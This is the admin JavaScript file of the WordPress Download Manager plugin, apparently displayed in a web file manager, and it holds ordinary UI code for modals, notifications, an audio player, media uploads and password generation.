File "wpdm-admin.js"
Full path: /var/www/html/cemeau/wp-content/plugins/download-manager/assets/js/wpdm-admin.js
File size: 40.8 KB
MIME-type: text/plain
Charset: utf-8
Download Open Edit Advanced Editor Back
//const { __, _x, _n, sprintf } = wp.i18n;
var allps;
var wpdm_pass_target = '#pps_z';
var $modal_id = '';
String.prototype.wpdm_shuffle = function () {
var a = this.split(""),
n = a.length;
for (var i = n - 1; i > 0; i--) {
var j = Math.floor(Math.random() * (i + 1));
var tmp = a[i];
a[i] = a[j];
a[j] = tmp;
}
return a.join("");
}
String.prototype.wpdm_hash = function(){
if (Array.prototype.reduce){
return this.split("").reduce(function(a,b){a=((a<<5)-a)+b.charCodeAt(0);return a&a},0);
}
var hash = 0;
if (this.length === 0) return hash;
for (var i = 0; i < this.length; i++) {
var character = this.charCodeAt(i);
hash = ((hash<<5)-hash)+character;
hash = hash & hash; // Convert to 32bit integer
}
return hash;
}
var WPDM = {
actions: {},
init: function ($) {
},
addAction: function (action, func) {
if(!WPDM.actions[action]) WPDM.actions[action] = [];
WPDM.actions[action].push(func);
},
doAction: function (action, ...params) {
if(typeof WPDM.actions[action] !== 'undefined')
WPDM.actions[action].forEach(fn => fn(...params));
},
copy: function ($id) {
var copyText = document.getElementById($id);
copyText.select();
copyText.setSelectionRange(0, 99999);
document.execCommand("copy");
WPDM.notify('<i class="fa fa-check-double"></i> Copied', 'success', 'top-center', 1000);
},
copyTxt: function (textToCopy) {
WPDM.notify('<i class="fa fa-check-double"></i> Copied', 'success', 'top-center', 1000);
// navigator clipboard api needs a secure context (https)
if (navigator.clipboard && window.isSecureContext) {
// navigator clipboard api method'
return navigator.clipboard.writeText(textToCopy);
} else {
// text area method
let textArea = document.createElement("textarea");
textArea.value = textToCopy;
// make the textarea out of viewport
textArea.style.position = "fixed";
textArea.style.left = "-999999px";
textArea.style.top = "-999999px";
document.body.appendChild(textArea);
textArea.focus();
textArea.select();
return new Promise((res, rej) => {
// here the magic happens
document.execCommand('copy') ? res() : rej();
textArea.remove();
});
}
},
hash: function (str) {
return str.wpdm_hash();
},
beep: function () {
if (WPDM.audio == undefined)
var snd = new Audio("data:audio/wav;base64,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qJrx4KOQjahZxWbcZgztj2c49nKmkId44S71j0c8eV9yDK6uPRzx5X18eDvjvQ6yKo9ZSS6l//8elePK/Lf//IInrOF/FvDoADYAGBMGb7FtErm5MXMlmPAJQVgWta7Zx2go+8xJ0UiCb8LHHdftWyLJE0QIAIsI+UbXu67dZMjmgDGCGl1H+vpF4NSDckSIkk7Vd+sxEhBQMRU8j/12UIRhzSaUdQ+rQU5kGeFxm+hb1oh6pWWmv3uvmReDl0UnvtapVaIzo1jZbf/pD6ElLqSX+rUmOQNpJFa/r+sa4e/pBlAABoAAAAA3CUgShLdGIxsY7AUABPRrgCABdDuQ5GC7DqPQCgbbJUAoRSUj+NIEig0YfyWUho1VBBBA//uQZB4ABZx5zfMakeAAAAmwAAAAF5F3P0w9GtAAACfAAAAAwLhMDmAYWMgVEG1U0FIGCBgXBXAtfMH10000EEEEEECUBYln03TTTdNBDZopopYvrTTdNa325mImNg3TTPV9q3pmY0xoO6bv3r00y+IDGid/9aaaZTGMuj9mpu9Mpio1dXrr5HERTZSmqU36A3CumzN/9Robv/Xx4v9ijkSRSNLQhAWumap82WRSBUqXStV/YcS+XVLnSS+WLDroqArFkMEsAS+eWmrUzrO0oEmE40RlMZ5+ODIkAyKAGUwZ3mVKmcamcJnMW26MRPgUw6j+LkhyHGVGYjSUUKNpuJUQoOIAyDvEyG8S5yfK6dhZc0Tx1KI/gviKL6qvvFs1+bWtaz58uUNnryq6kt5RzOCkPWlVqVX2a/EEBUdU1KrXLf40GoiiFXK///qpoiDXrOgqDR38JB0bw7SoL+ZB9o1RCkQjQ2CBYZKd/+VJxZRRZlqSkKiws0WFxUyCwsKiMy7hUVFhIaCrNQsKkTIsLivwKKigsj8XYlwt/WKi2N4d//uQRCSAAjURNIHpMZBGYiaQPSYyAAABLAAAAAAAACWAAAAApUF/Mg+0aohSIRobBAsMlO//Kk4soosy1JSFRYWaLC4qZBYWFRGZdwqKiwkNBVmoWFSJkWFxX4FFRQWR+LsS4W/rFRb/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////VEFHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAU291bmRib3kuZGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMjAwNGh0dHA6Ly93d3cuc291bmRib3kuZGUAAAAAAAAAACU=");
else
var snd = new Audio(WPDM.audio);
snd.play();
},
uniqueID: function (prefix) {
var uniq = Date.now() + "abcdefghijklmnopqrstuvwxyz_";
uniq = uniq.wpdm_shuffle();
uniq = uniq.substring(1, 10);
uniq = typeof prefix !== 'undefined' ? prefix+uniq : uniq;
return uniq;
},
popupWindow: function (url, title, w, h, onclose) {
/* Fixes dual-screen position Most browsers Firefox */
var dualScreenLeft = typeof window.screenLeft !== 'undefined' ? window.screenLeft : screen.left;
var dualScreenTop = typeof window.screenTop !== 'undefined' ? window.screenTop : screen.top;
var width = window.innerWidth ? window.innerWidth : document.documentElement.clientWidth ? document.documentElement.clientWidth : screen.width;
var height = window.innerHeight ? window.innerHeight : document.documentElement.clientHeight ? document.documentElement.clientHeight : screen.height;
var left = ((width / 2) - (w / 2)) + dualScreenLeft;
var top = ((height / 2) - (h / 2)) + dualScreenTop;
var newWindow = window.open(url, title, 'scrollbars=yes, width=' + w + ', height=' + h + ', top=' + top + ', left=' + left);
/* Puts focus on the newWindow */
if (window.focus) {
newWindow.focus();
}
if(onclose !== undefined)
newWindow.onbeforeunload = function(){ onclose.call(); }
return false;
},
bootAlert: function (heading, content, width) {
let html, url = '';
let modal_id = '__bootModal_' + WPDM.uniqueID();
if(typeof content === 'object') {
url = content.url;
content = `<div id='${modal_id}_cont'><i class='fa fa-sun fa-spin'></i> Loading...</div>`;
}
if (!width) width = 400;
html = '<div class="w3eden" id="w3eden' + modal_id + '"><div id="' + modal_id + '" class="modal fade" tabindex="-1" role="dialog">\n' +
' <div class="modal-dialog" style="width: ' + width + 'px" role="document">\n' +
' <div class="modal-content" style="border-radius: 4px;overflow: hidden">\n' +
' <div class="modal-header" style="padding: 12px 15px;background: rgba(0,0,0,0.02);line-height: 18px">\n' +
' <h4 class="modal-title" style="font-size: 10pt;font-weight: 600;padding: 0;margin: 0;letter-spacing: 0.5px;line-height: 18px">' + heading + '</h4><button style="line-height: 18px;font-size: 10pt;background: transparent;outline: none;position: absolute;right: 14px;top: 14px;" type="button" class="close" data-target="#' + modal_id + '" data-dismiss="modal"><i class="fa fa-times-circle"></i></button>\n' +
' </div>\n' +
' <div class="modal-body fetfont" style="line-height: 1.5;text-transform: unset;font-weight:400;letter-spacing:0.5px;font-size: 12px">\n' +
' ' + content + '\n' +
' </div>\n' +
' </div>\n' +
' </div>\n' +
'</div></div>';
jQuery('body').append(html);
jQuery("#" + modal_id).modal({show: true, backdrop: 'static'});
if(url !== '') {
url = url.indexOf('?') > 0 ? url+'&__mdid=' + modal_id : url+'?__mdid=' + modal_id;
jQuery("#" + modal_id + "_cont").load(url);
}
return jQuery("#" + modal_id);
},
/**
* Local push notification
* @param title
* @param message
* @param icon
* @param image
* @param url
*/
pushNotify: function (title, message, icon, image, url) {
var type = 'info';
if(title.includes('rror') || message.includes('rror')) type = 'error';
if(title.includes('uccess') || message.includes('uccess')) type = 'success';
if(title.includes('arning') || message.includes('arning')) type = 'warning';
if (!('Notification' in window) || !('ServiceWorkerRegistration' in window)) {
WPDM.notify("<strong>"+title+"</strong><br/>"+message, type, 'top-right');
return;
}
Notification.requestPermission(function (result) {
if (result === 'granted') {
console.log('Notification: ' + result);
try {
var notification = new Notification(title, {
body: message,
icon: icon ? icon : 'https://cdn1.iconfinder.com/data/icons/hawcons/32/698558-icon-47-note-important-512.png',
image: image ? image : ''
});
if (url) {
notification.onclick = function (e) {
e.preventDefault();
window.open(url, '_blank');
};
}
} catch (err) {
WPDM.notify("<strong>"+title+"</strong><br/>"+message, type, 'top-right');
console.log('Notification API error: ' + err);
}
} else {
WPDM.notify("<strong>"+title+"</strong><br/>"+message, type, 'top-right');
console.log('Notification: ' + result);
}
});
},
/**
* Shows notification
* @param message
* @param type
* @param position
*/
notify: function (message, type, position, autoclose) {
var $ = jQuery;
if (type === undefined || !type) type = 'info';
if (position === undefined || !position) position = 'top-right';
if (type === 'danger') type = 'error';
var notifycont = position.indexOf('#') >= 0 ? position : '#wpdm-notify-' + position;
if ($(notifycont).length == 0)
$('body').prepend("<div id='wpdm-notify-" + position + "'></div>");
var notif = $("<div class='wpdm-notify fetfont wpdm-notify-" + type + "' style='display: none'>" + message + "</div>");
$(notifycont).append(notif);
$(notif).fadeIn();
if (autoclose !== undefined) {
setTimeout(function () {
$(notif).animate({
opacity: 0
}, 1000, function () {
$(this).slideUp();
});
}, autoclose);
}
return $(notif);
},
/**
* Shows notification
* @param message
* @param type
* @param position
*/
floatify: function (html, position) {
var $ = jQuery;
if (position === undefined || !position) position = 'top-right';
var floatifycont = '#wpdm-floatify-' + position;
if ($(floatifycont).length == 0)
$('body').prepend("<div class='w3eden' id='wpdm-floatify-" + position + "'></div>");
var floatify = $("<div class='wpdm-floatify fetfont style='margin-right: -500px'>" + html + "</div>");
$(floatifycont).append(floatify);
$(floatify).animate({marginRight: '0px'});
return $(floatify);
},
blockUI: function (element, xhr) {
jQuery(element).addClass("blockui");
if (xhr)
xhr.addEventListener("load", function () {
jQuery(element).removeClass("blockui");
});
},
unblockUI: function (element) {
jQuery(element).removeClass("blockui");
},
overlay: function (element, html) {
var $ = jQuery;
var overlaycontent = $("<div class='wpdm-overlay-content' style='display: none'>" + html + "<div class='wpdm-overlay-close' style='cursor: pointer'><i class='far fa-times-circle'></i> close</div></div>");
$(element).addClass('wpdm-overlay').append(overlaycontent);
$(overlaycontent).fadeIn();
$('body').on('click', '.wpdm-overlay-close', function () {
$(overlaycontent).fadeOut(function () {
$(this).remove();
});
});
return $(overlaycontent);
},
confirm: function (heading, content, buttons) {
var html, $ = jQuery;
var modal_id = '__boot_popup_' + WPDM.uniqueID();
$("#w3eden__boot_popup").remove();
var _buttons = '';
var id = WPDM.uniqueID('btx_');
if (buttons) {
_buttons = '<div class="modal-footer" style="padding: 8px 15px;">\n';
$.each(buttons, function (i, button) {
_buttons += "<button id='" + id + '_' + i + "' class='" + button.class + " btn-xs' style='font-size: 10px;padding: 3px 20px;'>" + button.label + "</button> ";
});
_buttons += '</div>\n';
}
html = '<div class="w3eden" id="w3eden' + modal_id + '"><div id="' + modal_id + '" style="z-index: 9999999 !important;" class="modal fade" tabindex="-1" role="dialog">\n' +
' <div class="modal-dialog" role="document" style="max-width: 100%;width: 350px">\n' +
' <div class="modal-content" style="border-radius: 3px;overflow: hidden">\n' +
' <div class="modal-header" style="padding: 12px 15px;background: #f5f5f5;">\n' +
' <h4 class="modal-title" style="font-size: 9pt;font-weight: 500;padding: 0;margin: 0;font-family:var(--wpdm-font), san-serif;letter-spacing: 0.5px">' + heading + '</h4>\n' +
' </div>\n' +
' <div class="modal-body text-center" style="font-family:var(--wpdm-font), san-serif;letter-spacing: 0.5px;font-size: 10pt;font-weight: 300;padding: 25px;line-height: 1.5">\n' +
' ' + content + '\n' +
' </div>\n' + _buttons +
' </div>\n' +
' </div>\n' +
'</div></div>';
$('body').append(html);
$("#" + modal_id).modal('show');
$.each(buttons, function (i, button) {
var _id = id + '_' + i;
//$('#' + _id).unbind('click');
$('body').on('click', '#' + _id, function () {
button.callback.call($("#" + modal_id));
return false;
});
});
return $("#" + modal_id);
},
audioUI: function (audio) {
var $ = jQuery, song_length, song_length_m, song_length_s;
if (parseInt(wpdm_asset.bsversion) !== 3)
var player_html = '<div class="w3eden"><div style="display: none" class="wpdm-audio-player-ui" id="wpdm-audio-player-ui"><div class="card m-2"><div class="card-body text-center"><div class="media"><div class="mr-3 wpdm-audio-control-buttons"><button class="btn btn-primary btn-play" id="wpdm-btn-play"><i class="fa fa-play"></i></button> <button class="btn btn-primary btn-backward" id="wpdm-btn-backward"><i class="fa fa-backward"></i></button> <button class="btn btn-primary btn-forward" id="wpdm-btn-forward"><i class="fa fa-forward"></i></button></div><div class="media-body"><div class="position-relative"><div id="played">00:00</div><div id="mins">00:00</div></div><div class="progress"><div id="wpdm-audio-progress" class="progress-bar bg-success" role="progressbar" style="width: 0%;" aria-valuenow="25" aria-valuemin="0" aria-valuemax="100"></div></div></div><div class="ml-3 wpdm-audio-control-buttons"> <button class="btn btn-info btn-volumctrl" id="wpdm-btn-volumctrl"><i class="fa fa-volume-up"></i></button> <div class="volumctrl"><input type="range" min="0" max="1" step="0.01" value="3" class="p-0" id="wpdm-audio-volume"></div></div></div></div></div></div></div>';
else
var player_html = '<div class="w3eden"><div style="display: none" class="wpdm-audio-player-ui" id="wpdm-audio-player-ui"><div class="panel panel-default" style="margin: 0;border: 0;border-radius: 0;border-top: 1px solid #dddddd;background: #fcfcfc"><div class="panel-body text-center"><div class="media"><div class="pull-right wpdm-audio-control-buttons"><button class="btn btn-info btn-volumctrl" id="wpdm-btn-volumctrl"><i class="fa fa-volume-up"></i></button> <div class="volumctrl"> <input type="range" min="0" max="1" step="0.01" value="3" class="p-0" id="wpdm-audio-volume"> </div></div><div class="wpdm-audio-control-buttons pull-left"><nobr><button class="btn btn-primary btn-play" id="wpdm-btn-play"><i class="fa fa-play"></i></button> <button class="btn btn-primary btn-backward" id="wpdm-btn-backward"><i class="fa fa-backward"></i></button> <button class="btn btn-primary btn-forward" id="wpdm-btn-forward"><i class="fa fa-forward"></i></button></nobr></div><div class="media-body"><div class="position-relative"><div id="played">00:00</div><div id="mins">00:00</div></div><div class="progress"><div id="wpdm-audio-progress" class="progress-bar bg-success" role="progressbar" style="width: 0%;" aria-valuenow="25" aria-valuemin="0" aria-valuemax="100"></div></div></div></div></div></div></div></div>';
if (audio.duration !== Infinity) {
song_length = parseInt(audio.duration);
song_length_m = parseInt(song_length / 60);
song_length_s = song_length - (song_length_m * 60);
song_length_m = song_length_m > 9 ? song_length_m : "0" + song_length_m;
song_length_s = song_length_s > 9 ? song_length_s : "0" + song_length_s;
} else {
song_length_m = "--";
song_length_s = "--";
audio.addEventListener("durationchange", function (e) {
console.log(this.duration);
if (this.duration !== Infinity) {
song_length = parseInt(this.duration);
song_length_m = parseInt(song_length / 60);
song_length_s = song_length - (song_length_m * 60);
song_length_m = song_length_m > 9 ? song_length_m : "0" + song_length_m;
song_length_s = song_length_s > 9 ? song_length_s : "0" + song_length_s;
$('#mins').html(song_length_m + ":" + song_length_s);
next(song_length);
}
}, false);
}
if ($('#wpdm-audio-player-ui').length === 0) {
$('body').append(player_html);
$("#wpdm-audio-player-ui").slideDown();
$('#mins').html(song_length_m + ":" + song_length_s);
$('body').on('click', '#wpdm-audio-player-ui .progress', function (e) {
let value = e.offsetX * 100 / this.clientWidth;
var played = parseInt(song_length * value / 100);
var played_m = parseInt(played / 60);
var played_s = played - (played_m * 60);
played_m = played_m > 9 ? played_m : "0" + played_m;
played_s = played_s > 9 ? played_s : "0" + played_s;
$('#played').html(played_m + ":" + played_s);
audio.currentTime = (song_length * value) / 100;
$(this).find('.progress-bar').css('width', value + "%");
//video.currentTime = duration * (value / 100);
});
$('body').on('click', '#wpdm-btn-backward', function () {
let value = (parseInt($('#wpdm-audio-player-ui .progress-bar').css('width')) / parseInt($('#wpdm-audio-player-ui .progress').css('width'))) * 100 - 10;
if (value < 0) value = 0;
var played = parseInt(song_length * value / 100);
var played_m = parseInt(played / 60);
var played_s = played - (played_m * 60);
played_m = played_m > 9 ? played_m : "0" + played_m;
played_s = played_s > 9 ? played_s : "0" + played_s;
$('#played').html(played_m + ":" + played_s);
audio.currentTime = (song_length * value) / 100;
$('#wpdm-audio-player-ui .progress-bar').css('width', value + "%");
});
$('body').on('click', '#wpdm-btn-forward', function () {
let value = (parseInt($('#wpdm-audio-player-ui .progress-bar').css('width')) / parseInt($('#wpdm-audio-player-ui .progress').css('width'))) * 100 + 10;
if (value > 100) value = 100;
var played = parseInt(song_length * value / 100);
var played_m = parseInt(played / 60);
var played_s = played - (played_m * 60);
played_m = played_m > 9 ? played_m : "0" + played_m;
played_s = played_s > 9 ? played_s : "0" + played_s;
$('#played').html(played_m + ":" + played_s);
audio.currentTime = (song_length * value) / 100;
$('#wpdm-audio-player-ui .progress-bar').css('width', value + "%");
});
$('#wpdm-btn-volumctrl').on('click', function () {
$(this).next('.volumctrl').toggle();
});
$('body').on('click', '.btn-play', function () {
if ($(this).find('.fa').hasClass('fa-play')) {
$(this).find('.fa').addClass('fa-pause').removeClass('fa-play');
$(this).data('state', 'playing');
audio.play();
} else {
$(this).find('.fa').addClass('fa-play').removeClass('fa-pause');
$(this).data('state', 'paused');
audio.pause();
}
});
$('body').on('change', '#wpdm-audio-volume', function () {
audio.volume = this.value;
});
}
$('#mins').html(song_length_m + ":" + song_length_s);
audio.addEventListener("play", function () {
$('#wpdm-btn-play').find('.fa').addClass('fa-pause').removeClass('fa-play');
});
audio.addEventListener("pause", function () {
$('#wpdm-btn-play').find('.fa').addClass('fa-play').removeClass('fa-pause');
});
audio.addEventListener("timeupdate", function (e) {
var song_length = parseInt(audio.duration);
var time_now = audio.currentTime;
var percent = (time_now / song_length) * 100;
if (percent > 100) percent = 100;
$('#wpdm-audio-progress').css('width', percent + "%");
var played = parseInt(time_now);
var played_m = parseInt(played / 60);
var played_s = played - (played_m * 60);
played_m = played_m > 9 ? played_m : "0" + played_m;
played_s = played_s > 9 ? played_s : "0" + played_s;
$('#played').html(played_m + ":" + played_s);
});
}
};
(function ($, window) {
$.fn.contextMenu = function (settings) {
return this.each(function () {
// Open context menu
$(this).on("contextmenu", function (e) {
// return native menu if pressing control
if (e.ctrlKey) return;
if($(this).parent().hasClass('panel-folder')) $('.hide-on-dir').css('display', 'none');
else $('.hide-on-dir').css('display', 'block');
//open menu
var $menu = $(settings.menuSelector)
.data("invokedOn", $(this))
.show()
.css({
position: "fixed",
left: e.clientX, // getMenuPosition(e.clientX, 'width', 'scrollLeft'),
top: e.clientY // getMenuPosition(e.clientY, 'height', 'scrollTop')
})
.off('click')
.on('click', 'a', function (e) {
$menu.hide();
e.preventDefault();
var $invokedOn = $menu.data("invokedOn");
var $selectedMenu = $(e.target);
settings.menuSelected.call(this, $invokedOn, $selectedMenu);
});
return false;
});
//make sure menu closes on any click
$('body').click(function () {
$(settings.menuSelector).hide();
});
});
function getMenuPosition(mouse, direction, scrollDir) {
var win = $(window)[direction](),
scroll = $(window)[scrollDir](),
menu = $(settings.menuSelector)[direction](),
position = mouse + scroll;
// opening menu would pass the side of the page
if (mouse + menu > win && menu < mouse)
position -= menu;
return position;
}
};
})(jQuery, window);
jQuery(function ($) {
// Uploading files
var file_frame, dfield, $body = $('body');
$body.on('click', '.wpdm-notify', function () {
$(this).animate({
opacity: 0
}, 1000, function () {
$(this).slideUp();
});
});
$body.on('click', '.wpdm-modal-pop', function (e) {
e.preventDefault();
var url = $(this).attr('href');
var width = 600;
var title = $(this).text();
if ($(this).data('width') !== undefined) width = $(this).data('width');
if ($(this).attr('title') !== undefined) title = $(this).attr('title');
if ($(this).data('url') !== undefined) url = $(this).data('url');
var $modal = WPDM.bootAlert(title, "<div id='wpdm-modal-content' class='blockui' style='min-height: 300px;'></div>", width);
$($modal).find('#wpdm-modal-content').load(url, function (res) {
WPDM.unblockUI('#wpdm-modal-content');
});
return false;
});
$body.on('click', '.__wpdm_approvedr', function (event) {
event.preventDefault();
$btn = $(this);
$btn.attr('disabled', 'disabled').html('<i class="fa fa-refresh fa-spin"></i>');
$('.__wpdm_declinedr_' + $btn.data('rid')).remove();
$.post(ajaxurl, {
__approvedr: $(this).data('nonce'),
__rid: $(this).data('rid'),
action: 'approveDownloadRequest'
}, function (res) {
if (res.match(/ok/)) {
$btn.removeClass('btn-info').addClass('btn-success').html('Approved');
}
});
});
$body.on('click', '.txtsc', function (event) {
$(this).select();
});
$body.on('click', '.__wpdm_declinedr', function (event) {
event.preventDefault();
if (!confirm('Are you sure?')) return false;
$btn = $(this);
$btn.attr('disabled', 'disabled').html('<i class="fa fa-refresh fa-spin"></i>');
$.post(ajaxurl, {
__declinedr: $(this).data('nonce'),
__rid: $(this).data('rid'),
action: 'declineDownloadRequest'
}, function (res) {
if (res.match(/ok/)) {
$('#__emlrow_' + $btn.data('rid')).remove();
}
});
});
$body.on('click', '.btn-onclick', function () {
$(this).css('width', $(this).css('width')).attr('disabled', 'disabled');
$(this).html($(this).data('onclick'));
});
$body.on('click', '.btn-media-upload', function (event) {
event.preventDefault();
dfield = $($(this).attr('rel'));
// If the media frame already exists, reopen it.
if (file_frame) {
file_frame.open();
return;
}
// Create the media frame.
file_frame = wp.media.frames.file_frame = wp.media({
title: $(this).data('uploader_title'),
button: {
text: $(this).data('uploader_button_text')
},
multiple: false // Set to true to allow multiple files to be selected
});
// When an image is selected, run a callback.
file_frame.on('select', function () {
// We set multiple to false so only get one image from the uploader
attachment = file_frame.state().get('selection').first().toJSON();
dfield.val(attachment.url);
});
// Finally, open the modal
file_frame.open();
});
$body.on('click', '.btn-image-selector', function (event) {
event.preventDefault();
dfield = $($(this).attr('rel'));
var dfield_h = $($(this).attr('rel') + '_hidden');
// If the media frame already exists, reopen it.
if (file_frame) {
file_frame.open();
return;
}
// Create the media frame.
file_frame = wp.media.frames.file_frame = wp.media({
title: $(this).data('uploader_title'),
button: {
text: $(this).data('uploader_button_text')
},
multiple: false // Set to true to allow multiple files to be selected
});
// When an image is selected, run a callback.
file_frame.on('select', function () {
// We set multiple to false so only get one image from the uploader
attachment = file_frame.state().get('selection').first().toJSON();
console.log(attachment);
dfield.attr('src', attachment.url);
dfield_h.val(attachment.url);
});
// Finally, open the modal
file_frame.open();
});
allps = $('#pps_z').val();
if (allps == undefined) allps = '';
$('#ps').val(allps.replace(/\]\[/g, "\n").replace(/[\]|\[]+/g, ''));
shuffle = function () {
var sl = 'abcdefghijklmnopqrstuvwxyz';
var cl = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
var nm = '0123456789';
var sc = '~!@#$%^&*()_';
ps = "";
pss = "";
ps = sl;
if ($('#passtrn').val() > 1) ps += cl;
if ($('#passtrn').val() > 2) ps += nm;
if ($('#passtrn').val() > 3) ps += sc;
var i = 0;
while (i <= ps.length) {
$max = ps.length - 1;
$num = Math.floor(Math.random() * $max);
$temp = ps.substr($num, 1);
pss += $temp;
i++;
}
$('#ps').val(pss);
};
$('#gps').click(shuffle);
$body.on('click', '#gpsc', function () {
var allps = "";
shuffle();
for (k = 0; k < $('#pcnt').val(); k++) {
allps += "[" + randomPassword(pss, $('#ncp').val()) + "]";
}
vallps = allps.replace(/\]\[/g, "\n").replace(/[\]|\[]+/g, '');
$('#ps').val(vallps);
});
$body.on('click', '#pins', function () {
var aps;
aps = $('#ps').val();
aps = aps.replace(/\n/g, "][");
allps = "[" + aps + "]";
$(wpdm_pass_target).val(allps);
$('#generatepass').modal('hide');
});
$body.on('click', '*:data[toggle="iframe-modal"]', function (e) {
e.preventDefault();
var url;
if ($(this).attr('href') !== undefined) url = $(this).attr('href');
else url = $(this).data('url');
wpdm_iframe_modal(utl);
});
$body.on('click', '#testemail', function () {
$.post(ajaxurl, {action: 'wpdm_test_email', template: $('#etmpl').val()})
});
try {
$('.ttip').tooltip();
} catch (e) {
}
});
function randomPassword(chars, size) {
//var size = 10;
if (parseInt(size) == Number.NaN || size == "") size = 8;
var i = 1;
var ret = "";
while (i <= size) {
$max = chars.length - 1;
$num = Math.floor(Math.random() * $max);
$temp = chars.substr($num, 1);
ret += $temp;
i++;
}
return ret;
}
function __showDownloadLink(pid, fid) {
var url;
url = wpdmConfig.siteURL + "?wpdmdl=" + pid + "&ind=" + fid;
__bootModal("File Download Link", '<textarea readonly="readonly" class="form-control" style="font-family: monospace">' + url + '</textarea>');
}
function __bootModal(heading, content, width) {
var html;
if (!width) width = 400;
jQuery("#w3eden__bootModal").remove();
html = '<div class="w3eden" id="w3eden__bootModal"><div id="__bootModal" class="modal fade" tabindex="-1" role="dialog">\n' +
' <div class="modal-dialog" style="width: ' + width + 'px" role="document">\n' +
' <div class="modal-content">\n' +
' <div class="modal-header">\n' +
' <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>\n' +
' <h4 class="modal-title">' + heading + '</h4>\n' +
' </div>\n' +
' <div class="modal-body">\n' +
' <p>' + content + '</p>\n' +
' </div>\n' +
' <div class="modal-footer">\n' +
' <button type="button" class="btn btn-secondary btn-sm" data-dismiss="modal">Close</button>\n' +
' </div>\n' +
' </div>\n' +
' </div>\n' +
'</div></div>';
jQuery('body').append(html);
jQuery("#__bootModal").modal('show');
}
function wpdm_boot_popup(heading, content, buttons) {
var html, $ = jQuery;
$("#w3eden__boot_popup").remove();
var _buttons = '<div class="modal-footer" style="padding: 8px 15px;">\n';
